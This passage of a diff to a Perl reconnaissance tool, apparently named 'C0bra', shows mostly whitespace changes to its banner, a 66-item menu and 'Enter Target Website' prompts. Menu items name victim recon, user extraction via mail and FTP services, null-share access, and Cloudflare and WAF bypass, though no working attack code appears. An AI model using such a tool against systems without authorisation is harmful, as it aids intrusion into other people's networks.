http://www.mubassirkamdar.com\n"; +print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; print color('reset'); -print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; +print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; print color('reset'); -print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; +print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; print color('reset'); -print color('bold cyan'),"\n #---------------------------------------------------------# \n"; -print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; -print color('bold cyan')," #---------------------------------------------------------# \n"; +print color('bold cyan'),"\n #---------------------------------------------------------# \n"; +print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; +print color('bold cyan')," #---------------------------------------------------------# \n"; } #--------------------------------------------------------------# # Menu # #--------------------------------------------------------------# sub menu { - print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('4'),"Basic Port Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('51'),"Cached View Target";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Basic Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('51'),"Cached View Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -716,7 +716,7 @@ sub menu { if($number eq '1'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($info=); @@ -725,7 +725,7 @@ sub menu { enter(); }if($number eq '2'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($whois=); @@ -734,7 +734,7 @@ sub menu { enter(); }if($number eq '3'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($geo=); @@ -747,7 +747,7 @@ sub menu { enter(); }if($number eq '5'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($sub=); @@ -756,7 +756,7 @@ sub menu { enter(); }if($number eq '6'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($revwhoiis=); @@ -765,7 +765,7 @@ sub menu { enter(); }if($number eq '7'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($dnszt=); @@ -774,7 +774,7 @@ sub menu { enter(); }if($number eq '8'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($rev=); @@ -783,7 +783,7 @@ sub menu { enter(); }if($number eq '9'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fwdip=); @@ -792,7 +792,7 @@ sub menu { enter(); }if($number eq '10'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($revdns=); @@ -801,7 +801,7 @@ sub menu { enter(); }if($number eq '11'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fwddns=); @@ -810,7 +810,7 @@ sub menu { enter(); }if($number eq '12'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($shrdns=); @@ -819,7 +819,7 @@ sub menu { enter(); }if($number eq '13'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($techlookup=); @@ -828,7 +828,7 @@ sub menu { enter(); }if($number eq '14'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($webrecon=); @@ -837,7 +837,7 @@ sub menu { enter(); }if($number eq '15'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($mdc=); @@ -846,7 +846,7 @@ sub menu { enter(); }if($number eq '16'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($mgd=); @@ -855,7 +855,7 @@ sub menu { enter(); }if($number eq '17'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($sbds=); @@ -864,7 +864,7 @@ sub menu { enter(); }if($number eq '18'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($sbtk=); @@ -873,7 +873,7 @@ sub menu { enter(); }if($number eq '19'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($brtd=); @@ -882,7 +882,7 @@ sub menu { enter(); }if($number eq '20'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($brtdns=); @@ -891,7 +891,7 @@ sub menu { enter(); }if($number eq '21'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cfe=); @@ -900,7 +900,7 @@ sub menu { enter(); }if($number eq '22'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fasn=); @@ -909,7 +909,7 @@ sub menu { enter(); }if($number eq '23'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($fnb=); @@ -918,7 +918,7 @@ sub menu { enter(); }if($number eq '24'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cpshots=); @@ -927,7 +927,7 @@ sub menu { enter(); }if($number eq '25'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($findnear=); @@ -936,7 +936,7 @@ sub menu { enter(); }if($number eq '26'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($snb=); @@ -945,7 +945,7 @@ sub menu { enter(); }if($number eq '27'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($panthera=); @@ -954,7 +954,7 @@ sub menu { enter(); }if($number eq '28'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($enames=); @@ -963,7 +963,7 @@ sub menu { enter(); }if($number eq '29'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($findci=); @@ -972,7 +972,7 @@ sub menu { enter(); }if($number eq '30'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cpscan=); @@ -981,7 +981,7 @@ sub menu { enter(); }if($number eq '31'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($phin=); @@ -989,7 +989,7 @@ sub menu { enter(); }if($number eq '32'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($finss=); @@ -998,7 +998,7 @@ sub menu { enter(); }if($number eq '33'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($dsgmd=); @@ -1007,7 +1007,7 @@ sub menu { enter(); }if($number eq '34'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fsbi=); @@ -1016,7 +1016,7 @@ sub menu { enter(); }if($number eq '35'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($euff=); @@ -1025,7 +1025,7 @@ sub menu { enter(); }if($number eq '36'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($eufp=); @@ -1034,7 +1034,7 @@ sub menu { enter(); }if($number eq '37'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print 